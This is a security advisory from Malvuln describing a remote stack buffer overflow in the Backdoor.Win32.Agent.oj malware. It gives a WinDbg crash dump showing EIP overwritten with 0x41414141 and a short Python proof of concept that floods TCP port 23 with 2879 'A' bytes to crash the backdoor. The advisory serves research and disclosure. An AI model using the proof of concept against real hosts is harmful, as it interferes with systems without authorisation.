Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.oj Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 23. Third-party attackers can send a specially crafted payload, triggering a classic stack buffer overflow overwriting ECX, EIP registers. Type: PE32 MD5: c1e92e04cdb432d83ea2610ef226d4cd Vuln ID: MVID-2021-0196 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 04/29/2021 Memory Dump: (b18.1c64): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe FAULTING_IP: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255 00402255 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 0324f9f4 -- (.exr 0x324f9f4) ExceptionAddress: 00402255 (Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03250000 Attempt to write to address 03250000 PROCESS_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255 00402255 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +2255 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 02910b70 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0324fa44 -- (.cxr 0x324fa44) eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144 edi=02910b70 eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255: 00402255 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03250000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 02910b70 to 00402255 FRAME_ONE_INVALID: 1 STACK_TEXT: 0324fea4 00402255 backdoor_win32_agent_oj+0x2255 0324fea8 02910b70 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_agent_oj+2255 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd IMAGE_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe DEBUG_FLR_IMAGE_TIMESTAMP: 378468b1 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=23 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOADOR="A"*2879 s.send(PAYLOADOR) s.close() print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow") print("MD5: c1e92e04cdb432d83ea2610ef226d4cd") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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